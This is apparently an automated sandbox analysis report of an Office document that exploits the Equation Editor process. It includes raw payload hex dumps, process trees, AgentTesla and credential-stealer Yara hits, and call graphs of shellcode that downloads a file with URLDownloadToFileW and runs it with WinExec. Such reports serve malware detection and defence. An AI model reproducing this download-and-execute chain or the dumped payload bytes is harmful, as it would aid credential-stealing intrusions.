                                    2024-10-01 05:44:59 UTC1369INData Raw: 56 e8 99 e4 00 00 8b 44 24 40 83 c4 04 47 3b 78 08 72 d5 8b 54 24 3c 89 6a 08 66 39 2b 0f 84 fc 01 00 00 eb 0b 8d a4 24 00 00 00 00 8d 64 24 00 0f b7 04 6b 66 83 f8 20 0f 84 f7 00 00 00 66 83 f8 09 0f 84 ed 00 00 00 0f b7 04 6b 66 85 c0 0f 84 b5 01 00 00 0f b7 f0 89 6c 24 10 66 89 6c 24 1e 66 83 fe 30 0f 83 d0 00 00 00 66 83 fe 2e 0f 84 d0 00 00 00 66 83 fe 41 0f 83 2a 02 00 00 66 83 fe 61 0f 83 8a 04 00 00 66 83 fe 5f 0f 84 20 02 00 00 0f b7 c6 83 f8 24 0f 84 cf 01 00 00 83 f8 3d 0f 84 42 02 00 00 83 f8 28 0f 84 76 02 00 00 83 f8 29 0f 84 4f 02 00 00 83 f8 22 0f 84 82 02 00 00 83 e8 1a 83 f8 44 0f 87 26 87 02 00 0f b6 88 28 34 40 00 ff 24 8d ec 33 40 00 66 83 f8 30 0f 8c 19 ff ff ff 8b 0e 85 c9 0f 84 0f ff ff ff 8b 41 0c ff 08 8b 51 0c 89 4c 24 10 39 2a
                                    Data Ascii: VD$@G;xrT$<jf9+$d$kf fkfl$fl$f0f.fA*faf_ $=B(v)O"D&(4@$3@f0AQL$9*
                                    2024-10-01 05:44:59 UTC1369INData Raw: 0f 84 9e 81 02 00 83 e8 01 0f 84 85 81 02 00 bf 43 00 00 00 e8 3e f7 ff ff 8d 54 24 14 52 e9 7a fc ff ff 45 66 83 3c 6b 3d 8d 74 24 14 0f 84 81 81 02 00 bf 42 00 00 00 e8 1a f7 ff ff e9 56 fc ff ff 90 6d b5 42 00 db 31 40 00 95 31 40 00 1b 32 40 00 fb 31 40 00 67 2f 40 00 cd b4 42 00 49 32 40 00 9c 33 40 00 cc 33 40 00 db 32 40 00 9f 32 40 00 bd 32 40 00 0b b5 42 00 45 b6 42 00 00 0e 0e 0e 0e 0e 0e 0e 0e 0e 0e 0e 01 02 0e 0e 03 04 05 06 0e 07 0e 0e 0e 0e 0e 0e 0e 0e 0e 0e 0e 0e 08 0e 09 0e 0a 0e 0e 0e 0e 0e 0e 0e 0e 0e 0e 0e 0e 0e 0e 0e 0e 0e 0e 0e 0e 0e 0e 0e 0e 0e 0e 0b 0e 0c 0d cc cc cc 56 8b f0 8b 46 0c 83 38 01 0f 8f 91 70 02 00 8b 46 04 40 e8 28 00 00 00 8b 46 04 8b 0e 66 8b 54 24 08 66 89 14 41 ff 46 04 8b 46 04 8b 0e 33 d2 66 89 14 41 8b c6 5e c2
                                    Data Ascii: C>T$RzEf<k=t$BVmB1@1@2@1@g/@BI2@3@3@2@2@2@BEBVF8pF@(FfT$fAFF3fA^
                                    2024-10-01 05:44:59 UTC1369INData Raw: 89 94 24 a8 08 00 00 e8 62 fe ff ff 8a 44 24 54 a8 03 0f 85 d5 7f 02 00 a8 04 0f 85 ae 7f 02 00 33 db 6a 10 89 5c 24 20 c7 44 24 24 10 00 00 00 e8 e3 dd 00 00 83 c4 04 6a 04 89 44 24 1c 88 18 e8 d3 dd 00 00 83 c4 04 3b c3 0f 84 94 7f 02 00 c7 00 01 00 00 00 89 44 24 24 8d 7c 24 18 8d 44 24 28 e8 67 02 00 00 84 c0 0f 84 e7 01 00 00 8d 54 24 40 52 8b c7 e8 c3 05 00 00 8b 74 24 24 83 06 ff 75 16 8b 44 24 18 50 e8 5f d9 00 00 83 c4 04 56 e8 56 d9 00 00 83 c4 04 b0 01 84 c0 0f 84 c2 01 00 00 8b 44 24 44 3d fe 0f 00 00 0f 87 50 7f 02 00 8b 44 24 40 50 8d 8c 24 ac 08 00 00 51 e8 ca dc 00 00 ff 44 24 1c 83 c4 08 33 f6 33 ff 0f b7 9c 74 a8 08 00 00 53 e8 0f fb 00 00 83 c4 04 85 c0 74 11 53 e8 d9 fa 00 00 83 c4 04 85 c0 0f 85 4a 01 00 00 66 83 bc 74 a8 08 00 00 00
                                    Data Ascii: $bD$T3j\$ D$$jD$;D$$|$D$(gT$@Rt$$uD$P_VVD$D=PD$@P$QD$33tStSJft


                                    Statistics

                                    CPU Usage

                                    Click to jump to process

                                    Memory Usage

                                    Click to jump to process

                                    High Level Behavior Distribution

                                    Click to dive into process behavior distribution

                                    Behavior

                                    Click to jump to process

                                    System Behavior

                                    General

                                    Target ID:0
                                    Start time:01:44:04
                                    Start date:01/10/2024
                                    Path:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                    Wow64 process (32bit):false
                                    Commandline:"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
                                    Imagebase:0x13faf0000
                                    File size:28'253'536 bytes
                                    MD5 hash:D53B85E21886D2AF9815C377537BCAC3
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Reputation:high
                                    Has exited:false

                                    General

                                    Target ID:2
                                    Start time:01:44:53
                                    Start date:01/10/2024
                                    Path:C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
                                    Wow64 process (32bit):true
                                    Commandline:"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
                                    Imagebase:0x400000
                                    File size:543'304 bytes
                                    MD5 hash:A87236E214F6D42A65F5DEDAC816AEC8
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Reputation:high
                                    Has exited:true

                                    General

                                    Target ID:5
                                    Start time:01:44:58
                                    Start date:01/10/2024
                                    Path:C:\Users\user\AppData\Local\Temp\coolz.exe
                                    Wow64 process (32bit):true
                                    Commandline:C:\Users\user\AppData\Local\Temp\coolz.exe
                                    Imagebase:0x400000
                                    File size:1'179'411 bytes
                                    MD5 hash:0FCFEEFEF9E389286B0EF7E97E1E7F28
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Antivirus matches:
                                    • Detection: 100%, Joe Sandbox ML
                                    • Detection: 26%, ReversingLabs
                                    Reputation:low
                                    Has exited:true

                                    General

                                    Target ID:6
                                    Start time:01:45:03
                                    Start date:01/10/2024
                                    Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                                    Wow64 process (32bit):true
                                    Commandline:C:\Users\user\AppData\Local\Temp\coolz.exe
                                    Imagebase:0x250000
                                    File size:45'248 bytes
                                    MD5 hash:19855C0DC5BEC9FDF925307C57F9F5FC
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Yara matches:
                                    • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.622210442.0000000002001000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                    • Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000006.00000002.622128316.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                    Reputation:moderate
                                    Has exited:false

                                    Disassembly

                                    Reset < >

                                      Execution Graph

                                      Execution Coverage:14.3%
                                      Dynamic/Decrypted Code Coverage:0%
                                      Signature Coverage:82.8%
                                      Total number of Nodes:87
                                      Total number of Limit Nodes:5
                                      execution_graph 438 3670644 439 3670646 438->439 442 3670659 LoadLibraryW 439->442 441 367064b 443 367065b 442->443 453 3670673 443->453 445 3670660 462 36706e2 URLDownloadToFileW 445->462 447 3670684 URLDownloadToFileW 450 36706eb 447->450 467 36706ff 447->467 452 3670725 450->452 471 367072d 450->471 452->441 454 3670676 453->454 455 36706e2 4 API calls 454->455 456 3670684 URLDownloadToFileW 454->456 455->456 458 36706eb 456->458 459 36706ff 3 API calls 456->459 460 3670725 458->460 461 367072d 3 API calls 458->461 459->458 460->445 461->460 463 36706ff 3 API calls 462->463 464 36706eb 463->464 465 367072d 3 API calls 464->465 466 3670725 464->466 465->466 466->447 468 3670702 467->468 469 367072d 3 API calls 468->469 470 3670725 469->470 470->450 472 3670730 WinExec 471->472 477 367074d 472->477 474 3670788 474->452 475 3670741 475->474 476 3670750 ExitProcess 475->476 478 3670750 ExitProcess 477->478 479 3670754 GetPEB 480 3670762 479->480 481 36705b4 ExitProcess 499 36705cd 481->499 483 3670622 484 36705c0 484->483 485 367065b 484->485 518 3670610 484->518 486 3670673 5 API calls 485->486 488 3670660 486->488 489 36706e2 4 API calls 488->489 492 3670684 URLDownloadToFileW 489->492 495 36706eb 492->495 496 36706ff 3 API calls 492->496 497 3670725 495->497 498 367072d 3 API calls 495->498 496->495 498->497 500 36705d3 499->500 522 36705e9 500->522 502 3670622 503 36705da 503->502 504 367065b 503->504 506 3670610 7 API calls 503->506 505 3670673 5 API calls 504->505 507 3670660 505->507 509 36705f6 506->509 508 36706e2 4 API calls 507->508 511 3670684 URLDownloadToFileW 508->511 509->504 509->507 510 3670608 509->510 539 3670644 510->539 514 36706eb 511->514 515 36706ff 3 API calls 511->515 516 367072d 3 API calls 514->516 517 3670725 514->517 515->514 516->517 517->484 519 3670613 518->519 520 3670644 7 API calls 519->520 521 3670622 520->521 523 36705ef 522->523 524 3670610 7 API calls 523->524 527 36705f6 523->527 524->527 525 3670660 526 36706e2 4 API calls 525->526 531 3670684 URLDownloadToFileW 526->531 527->525 528 367065b 527->528 529 3670608 527->529 530 3670673 5 API calls 528->530 532 3670644 7 API calls 529->532 530->525 534 36706ff 3 API calls 531->534 536 36706eb 531->536 535 3670622 532->535 534->536 537 367072d 3 API calls 536->537 538 3670725 536->538 537->538 538->503 540 3670646 539->540 541 3670659 7 API calls 540->541 542 367064b 541->542

                                      Callgraph

                                      • Executed
                                      • Not Executed
                                      • Opacity -> Relevance
                                      • Disassembly available
                                      callgraph 0 Function_036704E6 1 Function_03670024 2 Function_03670644 23 Function_03670659 2->23 3 Function_03670063 4 Function_036706E2 8 Function_0367072D 4->8 21 Function_036706FF 4->21 22 Function_0367077C 4->22 5 Function_03670000 6 Function_03670580 7 Function_036701CE 9 Function_0367074D 8->9 10 Function_036707CD 11 Function_036705CD 11->2 11->4 11->8 11->10 13 Function_036705E9 11->13 18 Function_03670673 11->18 20 Function_03670610 11->20 11->21 11->22 12 Function_0367022C 13->2 13->4 13->8 13->10 13->18 13->20 13->21 13->22 14 Function_03670429 15 Function_036703F6 16 Function_036705B4 16->2 16->4 16->8 16->11 16->18 16->20 16->21 16->22 17 Function_03670754 17->22 18->4 18->8 18->21 18->22 19 Function_03670432 20->2 21->8 21->22 23->4 23->8 23->18 23->21 23->22

                                      Executed Functions

                                      Function 03670659 Relevance: 3.1, APIs: 2, Instructions: 85libraryCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 0 3670659-36706e4 LoadLibraryW call 3670673 call 36706e2 URLDownloadToFileW 14 36706eb-36706f6 0->14 15 36706e6 call 36706ff 0->15 16 3670764-3670769 14->16 17 36706f8 14->17 15->14 20 367078f-3670793 16->20 21 367076b-367076f call 367077c 16->21 18 3670763 17->18 19 36706fa-36706fb 17->19 18->16 22 3670771-3670773 19->22 23 36706fd-3670726 call 367072d 19->23 25 3670796 20->25 21->22 27 3670775-3670779 22->27 28 3670762 22->28 23->18 29 367079e-36707a2 25->29 30 3670798-367079c 25->30 28->16 32 36707b7-36707b9 29->32 33 36707a4-36707a8 29->33 30->29 31 36707aa-36707b1 30->31 35 36707b5 31->35 36 36707b3 31->36 38 36707c9-36707ca 32->38 33->31 33->32 35->32 40 36707bb-36707c4 35->40 36->32 40->38 41 3670788-367078b 40->41 42 36707c6 41->42 43 367078d-3670790 41->43 42->38 43->40 44 3670792 43->44 44->25
                                      APIs
                                      • LoadLibraryW.KERNEL32(0367064B), ref: 03670659
                                        • Part of subcall function 03670673: URLDownloadToFileW.URLMON(00000000,03670684,?,00000000,00000000), ref: 036706E4
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.473765662.0000000003670000.00000004.00000020.00020000.00000000.sdmp, Offset: 03670000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_3670000_EQNEDT32.jbxd
                                      Similarity
                                      • API ID: DownloadFileLibraryLoad
                                      • String ID:
                                      • API String ID: 2776762486-0
                                      • Opcode ID: d6987a045facd75ba26c0f95839d28146f126a3ccbf5ce549aa33850c6294914
                                      • Instruction ID: 8058cde8abfcb2b0a10fc2128c40fce08958340dd03a7555b0b4a4a85e8420d8
                                      • Opcode Fuzzy Hash: d6987a045facd75ba26c0f95839d28146f126a3ccbf5ce549aa33850c6294914
                                      • Instruction Fuzzy Hash: 7D21D0A140C7C12BC722E3704E7AB95BF247B83210F5CCACEE4D50A4D3A3549111C76A
                                      Function 0367072D Relevance: 3.0, APIs: 2, Instructions: 46processCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 45 367072d-3670744 WinExec call 367074d 50 3670796 45->50 51 3670746 45->51 54 367079e-36707a2 50->54 55 3670798-367079c 50->55 52 36707b7-36707b9 51->52 53 3670748-3670752 ExitProcess 51->53 58 36707c9-36707ca 52->58 54->52 57 36707a4-36707a8 54->57 55->54 56 36707aa-36707b1 55->56 60 36707b5 56->60 61 36707b3 56->61 57->52 57->56 60->52 63 36707bb-36707c4 60->63 61->52 63->58 64 3670788-367078b 63->64 65 36707c6 64->65 66 367078d-3670790 64->66 65->58 66->63 67 3670792 66->67 67->50
                                      APIs
                                      • WinExec.KERNEL32(?,00000001), ref: 0367073A
                                        • Part of subcall function 0367074D: ExitProcess.KERNEL32(00000000), ref: 03670752
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.473765662.0000000003670000.00000004.00000020.00020000.00000000.sdmp, Offset: 03670000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_3670000_EQNEDT32.jbxd
                                      Similarity
                                      • API ID: ExecExitProcess
                                      • String ID:
                                      • API String ID: 4112423671-0
                                      • Opcode ID: 7b4514c50c6803db6e1acb15a029f5a29cf7c6a0b93d7e4af60678115a653edc
                                      • Instruction ID: 141da5dcc8c8550669c13c466e0fe453a9436fa8b4732b8101cbd1da117697c9
                                      • Opcode Fuzzy Hash: 7b4514c50c6803db6e1acb15a029f5a29cf7c6a0b93d7e4af60678115a653edc
                                      • Instruction Fuzzy Hash: 01F02299904342E1CB70F23C8D8CBEBAB54AF61300FCC8957A8C108189D168C4C3CE39
                                      Function 036705CD Relevance: 1.6, APIs: 1, Instructions: 148filenetworkCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 68 36705cd-36705db call 36707cd call 36705e9 73 367062e-367064a 68->73 74 36705de 68->74 78 367064b-367064c 73->78 76 36705e0-36705e3 74->76 77 367064f-3670657 74->77 76->78 79 36705e6 76->79 78->77 80 367065b-3670668 call 3670673 79->80 81 36705e8-36705f7 call 3670610 79->81 87 3670669-36706e4 call 36706e2 URLDownloadToFileW 80->87 81->87 88 36705f9-36705fe 81->88 104 36706eb-36706f6 87->104 105 36706e6 call 36706ff 87->105 88->87 89 3670600-3670606 88->89 89->80 93 3670608-367062b call 3670644 89->93 93->73 106 3670764-3670769 104->106 107 36706f8 104->107 105->104 110 367078f-3670793 106->110 111 367076b-367076f call 367077c 106->111 108 3670763 107->108 109 36706fa-36706fb 107->109 108->106 112 3670771-3670773 109->112 113 36706fd-3670726 call 367072d 109->113 115 3670796 110->115 111->112 117 3670775-3670779 112->117 118 3670762 112->118 113->108 119 367079e-36707a2 115->119 120 3670798-367079c 115->120 118->106 122 36707b7-36707b9 119->122 123 36707a4-36707a8 119->123 120->119 121 36707aa-36707b1 120->121 125 36707b5 121->125 126 36707b3 121->126 128 36707c9-36707ca 122->128 123->121 123->122 125->122 130 36707bb-36707c4 125->130 126->122 130->128 131 3670788-367078b 130->131 132 36707c6 131->132 133 367078d-3670790 131->133 132->128 133->130 134 3670792 133->134 134->115
                                      APIs
                                      • URLDownloadToFileW.URLMON(00000000,03670684,?,00000000,00000000), ref: 036706E4
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.473765662.0000000003670000.00000004.00000020.00020000.00000000.sdmp, Offset: 03670000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_3670000_EQNEDT32.jbxd
                                      Similarity
                                      • API ID: DownloadFile
                                      • String ID:
                                      • API String ID: 1407266417-0
                                      • Opcode ID: e5ef0d30604d0cbe1e988d60bc230905a07a66275c6e9ce8e0e2b2db62b4b4d4
                                      • Instruction ID: 39a8146a7501f3bd85aa262dd5156fd8cadf64130b0855779553a593ff833479
                                      • Opcode Fuzzy Hash: e5ef0d30604d0cbe1e988d60bc230905a07a66275c6e9ce8e0e2b2db62b4b4d4
                                      • Instruction Fuzzy Hash: 4441AD9580C7C12FC722E7704E7E696BF247B93100F9CCACEE4D50A593E364A215C7AA
                                      Function 036705E9 Relevance: 1.6, APIs: 1, Instructions: 132filenetworkCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 135 36705e9-36705ef call 36707cd 138 36705f6-36705f7 135->138 139 36705f1 call 3670610 135->139 140 3670669-36706e4 call 36706e2 URLDownloadToFileW 138->140 141 36705f9-36705fe 138->141 139->138 162 36706eb-36706f6 140->162 163 36706e6 call 36706ff 140->163 141->140 142 3670600-3670606 141->142 146 367065b-3670668 call 3670673 142->146 147 3670608-3670657 call 3670644 142->147 146->140 165 3670764-3670769 162->165 166 36706f8 162->166 163->162 170 367078f-3670793 165->170 171 367076b-367076f call 367077c 165->171 167 3670763 166->167 168 36706fa-36706fb 166->168 167->165 172 3670771-3670773 168->172 173 36706fd-3670726 call 367072d 168->173 176 3670796 170->176 171->172 178 3670775-3670779 172->178 179 3670762 172->179 173->167 180 367079e-36707a2 176->180 181 3670798-367079c 176->181 179->165 183 36707b7-36707b9 180->183 184 36707a4-36707a8 180->184 181->180 182 36707aa-36707b1 181->182 186 36707b5 182->186 187 36707b3 182->187 189 36707c9-36707ca 183->189 184->182 184->183 186->183 191 36707bb-36707c4 186->191 187->183 191->189 192 3670788-367078b 191->192 193 36707c6 192->193 194 367078d-3670790 192->194 193->189 194->191 195 3670792 194->195 195->176
                                      APIs
                                      • URLDownloadToFileW.URLMON(00000000,03670684,?,00000000,00000000), ref: 036706E4
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.473765662.0000000003670000.00000004.00000020.00020000.00000000.sdmp, Offset: 03670000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_3670000_EQNEDT32.jbxd
                                      Similarity
                                      • API ID: DownloadFile
                                      • String ID:
                                      • API String ID: 1407266417-0
                                      • Opcode ID: f6ad061ff166841e7d9c879704d56adf4df1d99ad3949f62cc587a8f611696da
                                      • Instruction ID: 19f16fd56efc3c2958374ae34c4fec818f12de6d7aacb8d7aed48536fd3ba20e
                                      • Opcode Fuzzy Hash: f6ad061ff166841e7d9c879704d56adf4df1d99ad3949f62cc587a8f611696da
                                      • Instruction Fuzzy Hash: 6B41BDA540C7C12FC722E7304E7AA96BF246B93500F9CCACEE4D50A193E3A49215866A
                                      Function 03670673 Relevance: 1.6, APIs: 1, Instructions: 71COMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 196 3670673-367067e 198 3670684-36706e4 URLDownloadToFileW 196->198 199 367067f call 36706e2 196->199 206 36706eb-36706f6 198->206 207 36706e6 call 36706ff 198->207 199->198 208 3670764-3670769 206->208 209 36706f8 206->209 207->206 212 367078f-3670793 208->212 213 367076b-367076f call 367077c 208->213 210 3670763 209->210 211 36706fa-36706fb 209->211 210->208 214 3670771-3670773 211->214 215 36706fd-3670726 call 367072d 211->215 217 3670796 212->217 213->214 219 3670775-3670779 214->219 220 3670762 214->220 215->210 221 367079e-36707a2 217->221 222 3670798-367079c 217->222 220->208 224 36707b7-36707b9 221->224 225 36707a4-36707a8 221->225 222->221 223 36707aa-36707b1 222->223 227 36707b5 223->227 228 36707b3 223->228 230 36707c9-36707ca 224->230 225->223 225->224 227->224 232 36707bb-36707c4 227->232 228->224 232->230 233 3670788-367078b 232->233 234 36707c6 233->234 235 367078d-3670790 233->235 234->230 235->232 236 3670792 235->236 236->217
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.473765662.0000000003670000.00000004.00000020.00020000.00000000.sdmp, Offset: 03670000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_3670000_EQNEDT32.jbxd
                                      Similarity
                                      • API ID: DownloadFile
                                      • String ID:
                                      • API String ID: 1407266417-0
                                      • Opcode ID: ec4b3779f637f0a97b9fa8dddecddab56ae1ecf1eb0f6bf9bd909d02e84e46c8
                                      • Instruction ID: 0791316b0ffb65ab538c32c69f4c87884012b99529c11e2b9fcc77666fbd6d84
                                      • Opcode Fuzzy Hash: ec4b3779f637f0a97b9fa8dddecddab56ae1ecf1eb0f6bf9bd909d02e84e46c8
                                      • Instruction Fuzzy Hash: 37219AA190C7D12BCB22E3704D7EB95BF242B82610F5CCACEE4950A4D3A3A49111C766
                                      Function 036706E2 Relevance: 1.6, APIs: 1, Instructions: 58filenetworkCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 237 36706e2-36706e6 URLDownloadToFileW call 36706ff 239 36706eb-36706f6 237->239 240 3670764-3670769 239->240 241 36706f8 239->241 244 367078f-3670793 240->244 245 367076b-367076f call 367077c 240->245 242 3670763 241->242 243 36706fa-36706fb 241->243 242->240 246 3670771-3670773 243->246 247 36706fd-3670726 call 367072d 243->247 249 3670796 244->249 245->246 251 3670775-3670779 246->251 252 3670762 246->252 247->242 253 367079e-36707a2 249->253 254 3670798-367079c 249->254 252->240 256 36707b7-36707b9 253->256 257 36707a4-36707a8 253->257 254->253 255 36707aa-36707b1 254->255 259 36707b5 255->259 260 36707b3 255->260 262 36707c9-36707ca 256->262 257->255 257->256 259->256 264 36707bb-36707c4 259->264 260->256 264->262 265 3670788-367078b 264->265 266 36707c6 265->266 267 367078d-3670790 265->267 266->262 267->264 268 3670792 267->268 268->249
                                      APIs
                                      • URLDownloadToFileW.URLMON(00000000,03670684,?,00000000,00000000), ref: 036706E4
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.473765662.0000000003670000.00000004.00000020.00020000.00000000.sdmp, Offset: 03670000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_3670000_EQNEDT32.jbxd
                                      Similarity
                                      • API ID: DownloadFile
                                      • String ID:
                                      • API String ID: 1407266417-0
                                      • Opcode ID: fe65dfc41c474ed7c68a25bdd3244d0e817b4e5dc4d84330f277ae402f48056e
                                      • Instruction ID: a581df53d1333800dea651abee028d152bc5990c437bfa86bc22c054035aac62
                                      • Opcode Fuzzy Hash: fe65dfc41c474ed7c68a25bdd3244d0e817b4e5dc4d84330f277ae402f48056e
                                      • Instruction Fuzzy Hash: 46114C34504342BAC720E6548D4DBDAF765EB92710FD8C05AE1404D2C9F2A0D443CA39
                                      Function 0367074D Relevance: 1.5, APIs: 1, Instructions: 4COMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 269 367074d-3670752 ExitProcess
                                      APIs
                                      • ExitProcess.KERNEL32(00000000), ref: 03670752
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.473765662.0000000003670000.00000004.00000020.00020000.00000000.sdmp, Offset: 03670000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_3670000_EQNEDT32.jbxd
                                      Similarity
                                      • API ID: ExitProcess
                                      • String ID:
                                      • API String ID: 621844428-0
                                      • Opcode ID: 288fe55cd219b45af00edd1f2cff87e2581c67c70a4523920e313d1c8e5ebd5b
                                      • Instruction ID: f49c04242a7a61e974833cf8218924656bc711991e28e6f13ed51e74029fe7d2
                                      • Opcode Fuzzy Hash: 288fe55cd219b45af00edd1f2cff87e2581c67c70a4523920e313d1c8e5ebd5b
                                      • Instruction Fuzzy Hash:
                                      Function 03670754 Relevance: .0, Instructions: 14COMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 271 3670754-367075f GetPEB 272 3670762-3670769 271->272 274 367078f-3670793 272->274 275 367076b-3670773 call 367077c 272->275 277 3670796 274->277 275->272 288 3670775-3670779 275->288 279 367079e-36707a2 277->279 280 3670798-367079c 277->280 282 36707b7-36707b9 279->282 283 36707a4-36707a8 279->283 280->279 281 36707aa-36707b1 280->281 285 36707b5 281->285 286 36707b3 281->286 287 36707c9-36707ca 282->287 283->281 283->282 285->282 289 36707bb-36707c4 285->289 286->282 289->287 290 3670788-367078b 289->290 291 36707c6 290->291 292 367078d-3670790 290->292 291->287 292->289 293 3670792 292->293 293->277
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.473765662.0000000003670000.00000004.00000020.00020000.00000000.sdmp, Offset: 03670000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_3670000_EQNEDT32.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 15c3e4776a16804bb5212a09f03411bf1d00a4b4976dbaad078e0c99fd6b82f5
                                      • Instruction ID: c6a061fab75dd9c36eb3d0410aabe5ad7ce379417606045d5cd876c2c76a523f
                                      • Opcode Fuzzy Hash: 15c3e4776a16804bb5212a09f03411bf1d00a4b4976dbaad078e0c99fd6b82f5
                                      • Instruction Fuzzy Hash: AED05235202A02CFC304DB04CA84E92F36AFFC8620B68C268E0004B71AD330E892CEA4

                                      Non-executed Functions

                                      Function 036705B4 Relevance: 1.6, APIs: 1, Instructions: 65COMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 294 36705b4-36705db ExitProcess call 36705cd 297 367062e-367064a 294->297 298 36705de 294->298 302 367064b-367064c 297->302 300 36705e0-36705e3 298->300 301 367064f-3670657 298->301 300->302 303 36705e6 300->303 302->301 304 367065b-3670668 call 3670673 303->304 305 36705e8-36705f7 call 3670610 303->305 311 3670669-36706e4 call 36706e2 URLDownloadToFileW 304->311 305->311 312 36705f9-36705fe 305->312 328 36706eb-36706f6 311->328 329 36706e6 call 36706ff 311->329 312->311 313 3670600-3670606 312->313 313->304 317 3670608-367062b call 3670644 313->317 317->297 330 3670764-3670769 328->330 331 36706f8 328->331 329->328 334 367078f-3670793 330->334 335 367076b-367076f call 367077c 330->335 332 3670763 331->332 333 36706fa-36706fb 331->333 332->330 336 3670771-3670773 333->336 337 36706fd-3670726 call 367072d 333->337 339 3670796 334->339 335->336 341 3670775-3670779 336->341 342 3670762 336->342 337->332 343 367079e-36707a2 339->343 344 3670798-367079c 339->344 342->330 346 36707b7-36707b9 343->346 347 36707a4-36707a8 343->347 344->343 345 36707aa-36707b1 344->345 349 36707b5 345->349 350 36707b3 345->350 352 36707c9-36707ca 346->352 347->345 347->346 349->346 354 36707bb-36707c4 349->354 350->346 354->352 355 3670788-367078b 354->355 356 36707c6 355->356 357 367078d-3670790 355->357 356->352 357->354 358 3670792 357->358 358->339
                                      APIs
                                      • ExitProcess.KERNEL32(036705A2), ref: 036705B4
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.473765662.0000000003670000.00000004.00000020.00020000.00000000.sdmp, Offset: 03670000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_3670000_EQNEDT32.jbxd
                                      Similarity
                                      • API ID: ExitProcess
                                      • String ID:
                                      • API String ID: 621844428-0
                                      • Opcode ID: b7b4861573d227a319e0d3d3b4271b12a1c6512c02d20c709d9f03fa24bb5fa3
                                      • Instruction ID: 1b7ad1370f0fb3b2928247b7fd13ee53ff7359fb4bfa2c0f57900ed388acdb5b
                                      • Opcode Fuzzy Hash: b7b4861573d227a319e0d3d3b4271b12a1c6512c02d20c709d9f03fa24bb5fa3
                                      • Instruction Fuzzy Hash: D911229980E7C02FC722E7301E7A086BF60799300479C89CFD4D84F1A3E2649729C3B6

                                      Executed Functions

                                      Function 0026BFA8 Relevance: 4.8, Strings: 2, Instructions: 2321COMMON
                                      Download Yara Rule
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622100653.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_260000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID: fw+$fw+
                                      • API String ID: 0-2062818375
                                      • Opcode ID: da55c68b737ee8acbe84304aba5e1fa6d0607c57e0af460f3ce5c22e0e2089a5
                                      • Instruction ID: b76d9d1329cfd29893fd102e10556d7130980829ea5f125180b6b13277de7e00
                                      • Opcode Fuzzy Hash: da55c68b737ee8acbe84304aba5e1fa6d0607c57e0af460f3ce5c22e0e2089a5
                                      • Instruction Fuzzy Hash: 62332C31D1071A8EDB11EF68C8846ADF7B1FF99300F15C69AE449B7211EB70AAD5CB81
                                      Function 00268C30 Relevance: 4.1, Strings: 1, Instructions: 2858COMMON
                                      Download Yara Rule
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000006.00000002.622100653.0000000000260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00260000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_6_2_260000_RegSvcs.jbxd
                                      Similarity
                                      • API ID:
